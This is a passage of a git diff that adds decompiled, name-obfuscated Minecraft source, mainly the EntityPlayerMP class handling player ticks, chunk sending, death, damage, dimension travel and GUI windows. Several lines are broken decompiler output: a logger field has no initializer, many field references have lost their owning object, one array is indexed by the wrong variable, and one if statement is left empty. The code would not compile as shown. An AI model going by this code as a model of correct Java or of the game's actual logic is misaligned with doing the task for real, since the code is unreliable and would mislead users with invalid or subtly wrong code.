+      EnumChatVisibility[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumChatVisibility var3 = var0[var2];
+        field_151432_d[chatVisibility] = var3;
+      }
+    }
+  }
+  
+  public static enum EnumStatus
+  {
+    OK("OK", 0), 
+    NOT_POSSIBLE_HERE("NOT_POSSIBLE_HERE", 1), 
+    NOT_POSSIBLE_NOW("NOT_POSSIBLE_NOW", 2), 
+    TOO_FAR_AWAY("TOO_FAR_AWAY", 3), 
+    OTHER_PROBLEM("OTHER_PROBLEM", 4), 
+    NOT_SAFE("NOT_SAFE", 5);
+    
+    private static final EnumStatus[] $VALUES = { OK, NOT_POSSIBLE_HERE, NOT_POSSIBLE_NOW, TOO_FAR_AWAY, OTHER_PROBLEM, NOT_SAFE };
+    private static final String __OBFID = "CL_00001712";
+    
+    private EnumStatus(String p_i1751_1_, int p_i1751_2_) {}
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_179420_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002188";
+    
+    static
+    {
+      try
+      {
+        field_179420_a[EnumFacing.SOUTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_179420_a[EnumFacing.NORTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_179420_a[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_179420_a[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/player/EntityPlayerMP.java b/src/minecraft/net/minecraft/entity/player/EntityPlayerMP.java
new file mode 100644
index 0000000..9180f82
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/player/EntityPlayerMP.java
@@ -0,0 +1,1290 @@
+package net.minecraft.entity.player;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Sets;
+import com.mojang.authlib.GameProfile;
+import io.netty.buffer.Unpooled;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityList;
+import net.minecraft.entity.EntityList.EntityEggInfo;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.EntityTracker;
+import net.minecraft.entity.IMerchant;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.ContainerChest;
+import net.minecraft.inventory.ContainerMerchant;
+import net.minecraft.inventory.ICrafting;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.inventory.InventoryMerchant;
+import net.minecraft.item.EnumAction;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemMapBase;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.client.C15PacketClientSettings;
+import net.minecraft.network.play.server.S02PacketChat;
+import net.minecraft.network.play.server.S0APacketUseBed;
+import net.minecraft.network.play.server.S0BPacketAnimation;
+import net.minecraft.network.play.server.S13PacketDestroyEntities;
+import net.minecraft.network.play.server.S1BPacketEntityAttach;
+import net.minecraft.network.play.server.S1DPacketEntityEffect;
+import net.minecraft.network.play.server.S1EPacketRemoveEntityEffect;
+import net.minecraft.network.play.server.S21PacketChunkData;
+import net.minecraft.network.play.server.S26PacketMapChunkBulk;
+import net.minecraft.network.play.server.S2BPacketChangeGameState;
+import net.minecraft.network.play.server.S2DPacketOpenWindow;
+import net.minecraft.network.play.server.S2FPacketSetSlot;
+import net.minecraft.network.play.server.S30PacketWindowItems;
+import net.minecraft.network.play.server.S31PacketWindowProperty;
+import net.minecraft.network.play.server.S36PacketSignEditorOpen;
+import net.minecraft.network.play.server.S3FPacketCustomPayload;
+import net.minecraft.network.play.server.S42PacketCombatEvent;
+import net.minecraft.network.play.server.S42PacketCombatEvent.Event;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.scoreboard.IScoreObjectiveCriteria;
+import net.minecraft.scoreboard.Score;
+import net.minecraft.scoreboard.ScoreObjective;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.scoreboard.Team;
+import net.minecraft.scoreboard.Team.EnumVisible;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ItemInWorldManager;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.server.management.UserListOpsEntry;
+import net.minecraft.stats.AchievementList;
+import net.minecraft.stats.StatBase;
+import net.minecraft.stats.StatList;
+import net.minecraft.stats.StatisticsFile;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntitySign;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.CombatTracker;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.FoodStats;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.JsonSerializableSet;
+import net.minecraft.util.MathHelper;
+import net.minecraft.village.MerchantRecipeList;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.IInteractionObject;
+import net.minecraft.world.ILockableContainer;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.WorldSettings.GameType;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.border.WorldBorder;
+import net.minecraft.world.chunk.Chunk;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class EntityPlayerMP extends EntityPlayer implements ICrafting
+{
+  private static final Logger logger = ;
+  private String translator = "en_US";
+  
+
+
+  public NetHandlerPlayServer playerNetServerHandler;
+  
+
+
+  public final MinecraftServer mcServer;
+  
+
+  public final ItemInWorldManager theItemInWorldManager;
+  
+
+  public double managedPosX;
+  
+
+  public double managedPosZ;
+  
+
+  public final List loadedChunks = Lists.newLinkedList();
+  
+
+  private final List destroyedItemsNetCache = Lists.newLinkedList();
+  private final StatisticsFile statsFile;
+  private float field_130068_bO = Float.MIN_VALUE;
+  
+
+  private float lastHealth = -1.0E8F;
+  
+
+  private int lastFoodLevel = -99999999;
+  
+
+  private boolean wasHungry = true;
+  
+
+  private int lastExperience = -99999999;
+  private int respawnInvulnerabilityTicks = 60;
+  private EntityPlayer.EnumChatVisibility chatVisibility;
+  private boolean chatColours = true;
+  private long playerLastActiveTime = System.currentTimeMillis();
+  private Entity field_175401_bS = null;
+  
+
+
+  private int currentWindowId;
+  
+
+
+  public boolean isChangingQuantityOnly;
+  
+
+  public int ping;
+  
+
+  public boolean playerConqueredTheEnd;
+  
+
+  private static final String __OBFID = "CL_00001440";
+  
+
+
+  public EntityPlayerMP(MinecraftServer server, WorldServer worldIn, GameProfile profile, ItemInWorldManager interactionManager)
+  {
+    super(worldIn, profile);
+    thisPlayerMP = this;
+    theItemInWorldManager = interactionManager;
+    BlockPos var5 = worldIn.getSpawnPoint();
+    
+    if ((!provider.getHasNoSky()) && (worldIn.getWorldInfo().getGameType() != WorldSettings.GameType.ADVENTURE))
+    {
+      int var6 = Math.max(5, server.getSpawnProtectionSize() - 6);
+      int var7 = MathHelper.floor_double(worldIn.getWorldBorder().getClosestDistance(var5.getX(), var5.getZ()));
+      
+      if (var7 < var6)
+      {
+        var6 = var7;
+      }
+      
+      if (var7 <= 1)
+      {
+        var6 = 1;
+      }
+      
+      var5 = worldIn.func_175672_r(var5.add(rand.nextInt(var6 * 2) - var6, 0, rand.nextInt(var6 * 2) - var6));
+    }
+    
+    mcServer = server;
+    statsFile = server.getConfigurationManager().getPlayerStatsFile(this);
+    stepHeight = 0.0F;
+    func_174828_a(var5, 0.0F, 0.0F);
+    
+    while ((!worldIn.getCollidingBoundingBoxes(this, getEntityBoundingBox()).isEmpty()) && (posY < 255.0D))
+    {
+      setPosition(posX, posY + 1.0D, posZ);
+    }
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    
+    if (tagCompund.hasKey("playerGameType", 99))
+    {
+      if (MinecraftServer.getServer().getForceGamemode())
+      {
+        theItemInWorldManager.setGameType(MinecraftServer.getServer().getGameType());
+      }
+      else
+      {
+        theItemInWorldManager.setGameType(WorldSettings.GameType.getByID(tagCompund.getInteger("playerGameType")));
+      }
+    }
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setInteger("playerGameType", theItemInWorldManager.getGameType().getID());
+  }
+  
+
+
+
+  public void addExperienceLevel(int p_82242_1_)
+  {
+    super.addExperienceLevel(p_82242_1_);
+    lastExperience = -1;
+  }
+  
+  public void func_71013_b(int p_71013_1_)
+  {
+    super.func_71013_b(p_71013_1_);
+    lastExperience = -1;
+  }
+  
+  public void addSelfToInternalCraftingInventory()
+  {
+    openContainer.onCraftGuiOpened(this);
+  }
+  
+  public void func_152111_bt()
+  {
+    super.func_152111_bt();
+    playerNetServerHandler.sendPacket(new S42PacketCombatEvent(getCombatTracker(), S42PacketCombatEvent.Event.ENTER_COMBAT));
+  }
+  
+  public void func_152112_bu()
+  {
+    super.func_152112_bu();
+    playerNetServerHandler.sendPacket(new S42PacketCombatEvent(getCombatTracker(), S42PacketCombatEvent.Event.END_COMBAT));
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    theItemInWorldManager.updateBlockRemoving();
+    respawnInvulnerabilityTicks -= 1;
+    
+    if (hurtResistantTime > 0)
+    {
+      hurtResistantTime -= 1;
+    }
+    
+    openContainer.detectAndSendChanges();
+    
+    if ((!worldObj.isRemote) && (!openContainer.canInteractWith(this)))
+    {
+      closeScreen();
+      openContainer = inventoryContainer;
+    }
+    
+    while (!destroyedItemsNetCache.isEmpty())
+    {
+      int var1 = Math.min(destroyedItemsNetCache.size(), Integer.MAX_VALUE);
+      int[] var2 = new int[var1];
+      Iterator var3 = destroyedItemsNetCache.iterator();
+      int var4 = 0;
+      
+      while ((var3.hasNext()) && (var4 < var1))
+      {
+        var2[(var4++)] = ((Integer)var3.next()).intValue();
+        var3.remove();
+      }
+      
+      playerNetServerHandler.sendPacket(new S13PacketDestroyEntities(var2));
+    }
+    
+    if (!loadedChunks.isEmpty())
+    {
+      ArrayList var6 = Lists.newArrayList();
+      Iterator var8 = loadedChunks.iterator();
+      ArrayList var9 = Lists.newArrayList();
+      
+
+      while ((var8.hasNext()) && (var6.size() < 10))
+      {
+        ChunkCoordIntPair var10 = (ChunkCoordIntPair)var8.next();
+        
+        if (var10 != null)
+        {
+          if (worldObj.isBlockLoaded(new BlockPos(chunkXPos << 4, 0, chunkZPos << 4)))
+          {
+            Chunk var5 = worldObj.getChunkFromChunkCoords(chunkXPos, chunkZPos);
+            
+            if (var5.isPopulated())
+            {
+              var6.add(var5);
+              var9.addAll(((WorldServer)worldObj).func_147486_a(chunkXPos * 16, 0, chunkZPos * 16, chunkXPos * 16 + 16, 256, chunkZPos * 16 + 16));
+              var8.remove();
+            }
+            
+          }
+        }
+        else {
+          var8.remove();
+        }
+      }
+      
+      if (!var6.isEmpty())
+      {
+        if (var6.size() == 1)
+        {
+          playerNetServerHandler.sendPacket(new S21PacketChunkData((Chunk)var6.get(0), true, 65535));
+        }
+        else
+        {
+          playerNetServerHandler.sendPacket(new S26PacketMapChunkBulk(var6));
+        }
+        
+        Iterator var11 = var9.iterator();
+        
+        while (var11.hasNext())
+        {
+          TileEntity var12 = (TileEntity)var11.next();
+          sendTileEntityUpdate(var12);
+        }
+        
+        var11 = var6.iterator();
+        
+        while (var11.hasNext())
+        {
+          Chunk var5 = (Chunk)var11.next();
+          getServerForPlayer().getEntityTracker().func_85172_a(this, var5);
+        }
+      }
+    }
+    
+    Entity var7 = func_175398_C();
+    
+    if (var7 != this)
+    {
+      if (!var7.isEntityAlive())
+      {
+        func_175399_e(this);
+      }
+      else
+      {
+        setPositionAndRotation(posX, posY, posZ, rotationYaw, rotationPitch);
+        mcServer.getConfigurationManager().serverUpdateMountedMovingPlayer(this);
+        
+        if (isSneaking())
+        {
+          func_175399_e(this);
+        }
+      }
+    }
+  }
+  
+  public void onUpdateEntity()
+  {
+    try
+    {
+      super.onUpdate();
+      
+      for (int var1 = 0; var1 < inventory.getSizeInventory(); var1++)
+      {
+        ItemStack var6 = inventory.getStackInSlot(var1);
+        
+        if ((var6 != null) && (var6.getItem().isMap()))
+        {
+          Packet var8 = ((ItemMapBase)var6.getItem()).createMapDataPacket(var6, worldObj, this);
+          
+          if (var8 != null)
+          {
+            playerNetServerHandler.sendPacket(var8);
+          }
+        }
+      }
+      
+      if ((getHealth() == lastHealth) && (lastFoodLevel == foodStats.getFoodLevel())) { if ((foodStats.getSaturationLevel() == 0.0F) == wasHungry) {}
+      } else {
+        playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S06PacketUpdateHealth(getHealth(), foodStats.getFoodLevel(), foodStats.getSaturationLevel()));
+        lastHealth = getHealth();
+        lastFoodLevel = foodStats.getFoodLevel();
+        wasHungry = (foodStats.getSaturationLevel() == 0.0F);
+      }
+      
+      if (getHealth() + getAbsorptionAmount() != field_130068_bO)
+      {
+        field_130068_bO = (getHealth() + getAbsorptionAmount());
+        Collection var5 = getWorldScoreboard().func_96520_a(IScoreObjectiveCriteria.health);
+        Iterator var7 = var5.iterator();
+        
+        while (var7.hasNext())
+        {
+          ScoreObjective var9 = (ScoreObjective)var7.next();
+          getWorldScoreboard().getValueFromObjective(getName(), var9).func_96651_a(Arrays.asList(new EntityPlayer[] { this }));
+        }
+      }
+      
+      if (experienceTotal != lastExperience)
+      {
+        lastExperience = experienceTotal;
+        playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S1FPacketSetExperience(experience, experienceTotal, experienceLevel));
+      }
+      
+      if ((ticksExisted % 20 * 5 == 0) && (!getStatFile().hasAchievementUnlocked(AchievementList.exploreAllBiomes)))
+      {
+        func_147098_j();
+      }
+    }
+    catch (Throwable var4)
+    {
+      CrashReport var2 = CrashReport.makeCrashReport(var4, "Ticking player");
+      CrashReportCategory var3 = var2.makeCategory("Player being ticked");
+      addEntityCrashInfo(var3);
+      throw new net.minecraft.util.ReportedException(var2);
+    }
+  }
+  
+  protected void func_147098_j()
+  {
+    BiomeGenBase var1 = worldObj.getBiomeGenForCoords(new BlockPos(MathHelper.floor_double(posX), 0, MathHelper.floor_double(posZ)));
+    String var2 = biomeName;
+    JsonSerializableSet var3 = (JsonSerializableSet)getStatFile().func_150870_b(AchievementList.exploreAllBiomes);
+    
+    if (var3 == null)
+    {
+      var3 = (JsonSerializableSet)getStatFile().func_150872_a(AchievementList.exploreAllBiomes, new JsonSerializableSet());
+    }
+    
+    var3.add(var2);
+    
+    if ((getStatFile().canUnlockAchievement(AchievementList.exploreAllBiomes)) && (var3.size() >= BiomeGenBase.explorationBiomesList.size()))
+    {
+      HashSet var4 = Sets.newHashSet(BiomeGenBase.explorationBiomesList);
+      Iterator var5 = var3.iterator();
+      
+      while (var5.hasNext())
+      {
+        String var6 = (String)var5.next();
+        Iterator var7 = var4.iterator();
+        
+        while (var7.hasNext())
+        {
+          BiomeGenBase var8 = (BiomeGenBase)var7.next();
+          
+          if (biomeName.equals(var6))
+          {
+            var7.remove();
+          }
+        }
+        
+        if (var4.isEmpty()) {
+          break;
+        }
+      }
+      
+
+      if (var4.isEmpty())
+      {
+        triggerAchievement(AchievementList.exploreAllBiomes);
+      }
+    }
+  }
+  
+
+
+
+  public void onDeath(DamageSource cause)
+  {
+    if (worldObj.getGameRules().getGameRuleBooleanValue("showDeathMessages"))
+    {
+      Team var2 = getTeam();
+      
+      if ((var2 != null) && (var2.func_178771_j() != Team.EnumVisible.ALWAYS))
+      {
+        if (var2.func_178771_j() == Team.EnumVisible.HIDE_FOR_OTHER_TEAMS)
+        {
+          mcServer.getConfigurationManager().func_177453_a(this, getCombatTracker().func_151521_b());
+        }
+        else if (var2.func_178771_j() == Team.EnumVisible.HIDE_FOR_OWN_TEAM)
+        {
+          mcServer.getConfigurationManager().func_177452_b(this, getCombatTracker().func_151521_b());
+        }
+        
+      }
+      else {
+        mcServer.getConfigurationManager().sendChatMsg(getCombatTracker().func_151521_b());
+      }
+    }
+    
+    if (!worldObj.getGameRules().getGameRuleBooleanValue("keepInventory"))
+    {
+      inventory.dropAllItems();
+    }
+    
+    Collection var6 = worldObj.getScoreboard().func_96520_a(IScoreObjectiveCriteria.deathCount);
+    Iterator var3 = var6.iterator();
+    
+    while (var3.hasNext())
+    {
+      ScoreObjective var4 = (ScoreObjective)var3.next();
+      Score var5 = getWorldScoreboard().getValueFromObjective(getName(), var4);
+      var5.func_96648_a();
+    }
+    
+    EntityLivingBase var7 = func_94060_bK();
+    
+    if (var7 != null)
+    {
+      EntityList.EntityEggInfo var8 = (EntityList.EntityEggInfo)EntityList.entityEggs.get(Integer.valueOf(EntityList.getEntityID(var7)));
+      
+      if (var8 != null)
+      {
+        triggerAchievement(field_151513_e);
+      }
+      
+      var7.addToPlayerScore(this, scoreValue);
+    }
+    
+    triggerAchievement(StatList.deathsStat);
+    func_175145_a(StatList.timeSinceDeathStat);
+    getCombatTracker().func_94549_h();
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    
+
+    boolean var3 = (mcServer.isDedicatedServer()) && (func_175400_cq()) && ("fall".equals(damageType));
+    
+    if ((!var3) && (respawnInvulnerabilityTicks > 0) && (source != DamageSource.outOfWorld))
+    {
+      return false;
+    }
+    
+
+    if ((source instanceof net.minecraft.util.EntityDamageSource))
+    {
+      Entity var4 = source.getEntity();
+      
+      if (((var4 instanceof EntityPlayer)) && (!canAttackPlayer((EntityPlayer)var4)))
+      {
+        return false;
+      }
+      
+      if ((var4 instanceof EntityArrow))
+      {
+        EntityArrow var5 = (EntityArrow)var4;
+        
+        if (((shootingEntity instanceof EntityPlayer)) && (!canAttackPlayer((EntityPlayer)shootingEntity)))
+        {
+          return false;
+        }
+      }
+    }
+    
+    return super.attackEntityFrom(source, amount);
+  }
+  
+
+
+  public boolean canAttackPlayer(EntityPlayer other)
+  {
+    return !func_175400_cq() ? false : super.canAttackPlayer(other);
+  }
+  
+  private boolean func_175400_cq()
+  {
+    return mcServer.isPVPEnabled();
+  }
+  
+
+
+
+  public void travelToDimension(int dimensionId)
+  {
+    if ((dimension == 1) && (dimensionId == 1))
+    {
+      triggerAchievement(AchievementList.theEnd2);
+      worldObj.removeEntity(this);
+      playerConqueredTheEnd = true;
+      playerNetServerHandler.sendPacket(new S2BPacketChangeGameState(4, 0.0F));
+    }
+    else
+    {
+      if ((dimension == 0) && (dimensionId == 1))
+      {
+        triggerAchievement(AchievementList.theEnd);
+        BlockPos var2 = mcServer.worldServerForDimension(dimensionId).func_180504_m();
+        
+        if (var2 != null)
+        {
+          playerNetServerHandler.setPlayerLocation(var2.getX(), var2.getY(), var2.getZ(), 0.0F, 0.0F);
+        }
+        
+        dimensionId = 1;
+      }
+      else
+      {
+        triggerAchievement(AchievementList.portal);
+      }
+      
+      mcServer.getConfigurationManager().transferPlayerToDimension(this, dimensionId);
+      lastExperience = -1;
+      lastHealth = -1.0F;
+      lastFoodLevel = -1;
+    }
+  }
+  
+  public boolean func_174827_a(EntityPlayerMP p_174827_1_)
+  {
+    return func_175149_v() ? false : p_174827_1_.func_175149_v() ? false : func_175398_C() == this ? true : super.func_174827_a(p_174827_1_);
+  }
+  
+  private void sendTileEntityUpdate(TileEntity p_147097_1_)
+  {
+    if (p_147097_1_ != null)
+    {
+      Packet var2 = p_147097_1_.getDescriptionPacket();
+      
+      if (var2 != null)
+      {
+        playerNetServerHandler.sendPacket(var2);
+      }
+    }
+  }
+  
+
+
+
+  public void onItemPickup(Entity p_71001_1_, int p_71001_2_)
+  {
+    super.onItemPickup(p_71001_1_, p_71001_2_);
+    openContainer.detectAndSendChanges();
+  }
+  
+  public EntityPlayer.EnumStatus func_180469_a(BlockPos p_180469_1_)
+  {
+    EntityPlayer.EnumStatus var2 = super.func_180469_a(p_180469_1_);
+    
+    if (var2 == EntityPlayer.EnumStatus.OK)
+    {
+      S0APacketUseBed var3 = new S0APacketUseBed(this, p_180469_1_);
+      getServerForPlayer().getEntityTracker().sendToAllTrackingEntity(this, var3);
+      playerNetServerHandler.setPlayerLocation(posX, posY, posZ, rotationYaw, rotationPitch);
+      playerNetServerHandler.sendPacket(var3);
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public void wakeUpPlayer(boolean p_70999_1_, boolean updateWorldFlag, boolean setSpawn)
+  {
+    if (isPlayerSleeping())
+    {
+      getServerForPlayer().getEntityTracker().func_151248_b(this, new S0BPacketAnimation(this, 2));
+    }
+    
+    super.wakeUpPlayer(p_70999_1_, updateWorldFlag, setSpawn);
+    
+    if (playerNetServerHandler != null)
+    {
+      playerNetServerHandler.setPlayerLocation(posX, posY, posZ, rotationYaw, rotationPitch);
+    }
+  }
+  
+
+
+
+  public void mountEntity(Entity entityIn)
+  {
+    Entity var2 = ridingEntity;
+    super.mountEntity(entityIn);
+    
+    if (entityIn != var2)
+    {
+      playerNetServerHandler.sendPacket(new S1BPacketEntityAttach(0, this, ridingEntity));
+      playerNetServerHandler.setPlayerLocation(posX, posY, posZ, rotationYaw, rotationPitch);
+    }
+  }
+  
+
+
+  protected void func_180433_a(double p_180433_1_, boolean p_180433_3_, Block p_180433_4_, BlockPos p_180433_5_) {}
+  
+
+  public void handleFalling(double p_71122_1_, boolean p_71122_3_)
+  {
+    int var4 = MathHelper.floor_double(posX);
+    int var5 = MathHelper.floor_double(posY - 0.20000000298023224D);
+    int var6 = MathHelper.floor_double(posZ);
+    BlockPos var7 = new BlockPos(var4, var5, var6);
+    Block var8 = worldObj.getBlockState(var7).getBlock();
+    
+    if (var8.getMaterial() == net.minecraft.block.material.Material.air)
+    {
+      Block var9 = worldObj.getBlockState(var7.offsetDown()).getBlock();
+      
+      if (((var9 instanceof net.minecraft.block.BlockFence)) || ((var9 instanceof net.minecraft.block.BlockWall)) || ((var9 instanceof net.minecraft.block.BlockFenceGate)))
+      {
+        var7 = var7.offsetDown();
+        var8 = worldObj.getBlockState(var7).getBlock();
+      }
+    }
+    
+    super.func_180433_a(p_71122_1_, p_71122_3_, var8, var7);
+  }
+  
+  public void func_175141_a(TileEntitySign p_175141_1_)
+  {
+    p_175141_1_.func_145912_a(this);
+    playerNetServerHandler.sendPacket(new S36PacketSignEditorOpen(p_175141_1_.getPos()));
+  }
+  
+
+
+
+  private void getNextWindowId()
+  {
+    currentWindowId = (currentWindowId % 100 + 1);
+  }
+  
+  public void displayGui(IInteractionObject guiOwner)
+  {
+    getNextWindowId();
+    playerNetServerHandler.sendPacket(new S2DPacketOpenWindow(currentWindowId, guiOwner.getGuiID(), guiOwner.getDisplayName()));
+    openContainer = guiOwner.createContainer(inventory, this);
+    openContainer.windowId = currentWindowId;
+    openContainer.onCraftGuiOpened(this);
+  }
+  
+
+
+
+  public void displayGUIChest(IInventory chestInventory)
+  {
+    if (openContainer != inventoryContainer)
+    {
+      closeScreen();
+    }
+    
+    if ((chestInventory instanceof ILockableContainer))
+    {
+      ILockableContainer var2 = (ILockableContainer)chestInventory;
+      
+      if ((var2.isLocked()) && (!func_175146_a(var2.getLockCode())) && (!func_175149_v()))
+      {
+        playerNetServerHandler.sendPacket(new S02PacketChat(new ChatComponentTranslation("container.isLocked", new Object[] { chestInventory.getDisplayName() }), (byte)2));
+        playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S29PacketSoundEffect("random.door_close", posX, posY, posZ, 1.0F, 1.0F));
+        return;
+      }
+    }
+    
+    getNextWindowId();
+    
+    if ((chestInventory instanceof IInteractionObject))
+    {
+      playerNetServerHandler.sendPacket(new S2DPacketOpenWindow(currentWindowId, ((IInteractionObject)chestInventory).getGuiID(), chestInventory.getDisplayName(), chestInventory.getSizeInventory()));
+      openContainer = ((IInteractionObject)chestInventory).createContainer(inventory, this);
+    }
+    else
+    {
+      playerNetServerHandler.sendPacket(new S2DPacketOpenWindow(currentWindowId, "minecraft:container", chestInventory.getDisplayName(), chestInventory.getSizeInventory()));
+      openContainer = new ContainerChest(inventory, chestInventory, this);
+    }
+    
+    openContainer.windowId = currentWindowId;
+    openContainer.onCraftGuiOpened(this);
+  }
+  
+  public void displayVillagerTradeGui(IMerchant villager)
+  {
+    getNextWindowId();
+    openContainer = new ContainerMerchant(inventory, villager, worldObj);
+    openContainer.windowId = currentWindowId;
+    openContainer.onCraftGuiOpened(this);
+    InventoryMerchant var2 = ((ContainerMerchant)openContainer).getMerchantInventory();
+    IChatComponent var3 = villager.getDisplayName();
+    playerNetServerHandler.sendPacket(new S2DPacketOpenWindow(currentWindowId, "minecraft:villager", var3, var2.getSizeInventory()));
+    MerchantRecipeList var4 = villager.getRecipes(this);
+    
+    if (var4 != null)
+    {
+      PacketBuffer var5 = new PacketBuffer(Unpooled.buffer());
+      var5.writeInt(currentWindowId);
+      var4.func_151391_a(var5);
+      playerNetServerHandler.sendPacket(new S3FPacketCustomPayload("MC|TrList", var5));
+    }
+  }
+  
+  public void displayGUIHorse(EntityHorse p_110298_1_, IInventory p_110298_2_)
+  {
+    if (openContainer != inventoryContainer)
+    {
+      closeScreen();
+    }
+    
+    getNextWindowId();
+    playerNetServerHandler.sendPacket(new S2DPacketOpenWindow(currentWindowId, "EntityHorse", p_110298_2_.getDisplayName(), p_110298_2_.getSizeInventory(), p_110298_1_.getEntityId()));
+    openContainer = new net.minecraft.inventory.ContainerHorseInventory(inventory, p_110298_2_, p_110298_1_, this);
+    openContainer.windowId = currentWindowId;
+    openContainer.onCraftGuiOpened(this);
+  }
+  
+
+
+
+  public void displayGUIBook(ItemStack bookStack)
+  {
+    Item var2 = bookStack.getItem();
+    
+    if (var2 == Items.written_book)
+    {
+      playerNetServerHandler.sendPacket(new S3FPacketCustomPayload("MC|BOpen", new PacketBuffer(Unpooled.buffer())));
+    }
+  }
+  
+
+
+
+
+  public void sendSlotContents(Container p_71111_1_, int p_71111_2_, ItemStack p_71111_3_)
+  {
+    if (!(p_71111_1_.getSlot(p_71111_2_) instanceof net.minecraft.inventory.SlotCrafting))
+    {
+      if (!isChangingQuantityOnly)
+      {
+        playerNetServerHandler.sendPacket(new S2FPacketSetSlot(windowId, p_71111_2_, p_71111_3_));
+      }
+    }
+  }
+  
+  public void sendContainerToPlayer(Container p_71120_1_)
+  {
+    updateCraftingInventory(p_71120_1_, p_71120_1_.getInventory());
+  }
+  
+
+
+
+  public void updateCraftingInventory(Container p_71110_1_, List p_71110_2_)
+  {
+    playerNetServerHandler.sendPacket(new S30PacketWindowItems(windowId, p_71110_2_));
+    playerNetServerHandler.sendPacket(new S2FPacketSetSlot(-1, -1, inventory.getItemStack()));
+  }
+  
+
+
+
+
+
+  public void sendProgressBarUpdate(Container p_71112_1_, int p_71112_2_, int p_71112_3_)
+  {
+    playerNetServerHandler.sendPacket(new S31PacketWindowProperty(windowId, p_71112_2_, p_71112_3_));
+  }
+  
+  public void func_175173_a(Container p_175173_1_, IInventory p_175173_2_)
+  {
+    for (int var3 = 0; var3 < p_175173_2_.getFieldCount(); var3++)
+    {
+      playerNetServerHandler.sendPacket(new S31PacketWindowProperty(windowId, var3, p_175173_2_.getField(var3)));
+    }
+  }
+  
+
+
+
+  public void closeScreen()
+  {
+    playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S2EPacketCloseWindow(openContainer.windowId));
+    closeContainer();
+  }
+  
+
+
+
+  public void updateHeldItem()
+  {
+    if (!isChangingQuantityOnly)
+    {
+      playerNetServerHandler.sendPacket(new S2FPacketSetSlot(-1, -1, inventory.getItemStack()));
+    }
+  }
+  
+
+
+
+  public void closeContainer()
+  {
+    openContainer.onContainerClosed(this);
+    openContainer = inventoryContainer;
+  }
+  
+  public void setEntityActionState(float p_110430_1_, float p_110430_2_, boolean p_110430_3_, boolean p_110430_4_)
+  {
+    if (ridingEntity != null)
+    {
+      if ((p_110430_1_ >= -1.0F) && (p_110430_1_ <= 1.0F))
+      {
+        moveStrafing = p_110430_1_;
+      }
+      
+      if ((p_110430_2_ >= -1.0F) && (p_110430_2_ <= 1.0F))
+      {
+        moveForward = p_110430_2_;
+      }
+      
+      isJumping = p_110430_3_;
+      setSneaking(p_110430_4_);
+    }
+  }
+  
+
+
+
+  public void addStat(StatBase p_71064_1_, int p_71064_2_)
+  {
+    if (p_71064_1_ != null)
+    {
+      statsFile.func_150871_b(this, p_71064_1_, p_71064_2_);
+      Iterator var3 = getWorldScoreboard().func_96520_a(p_71064_1_.func_150952_k()).iterator();
+      
+      while (var3.hasNext())
+      {
+        ScoreObjective var4 = (ScoreObjective)var3.next();
+        getWorldScoreboard().getValueFromObjective(getName(), var4).increseScore(p_71064_2_);
+      }
+      
+      if (statsFile.func_150879_e())
+      {
+        statsFile.func_150876_a(this);
+      }
+    }
+  }
+  
+  public void func_175145_a(StatBase p_175145_1_)
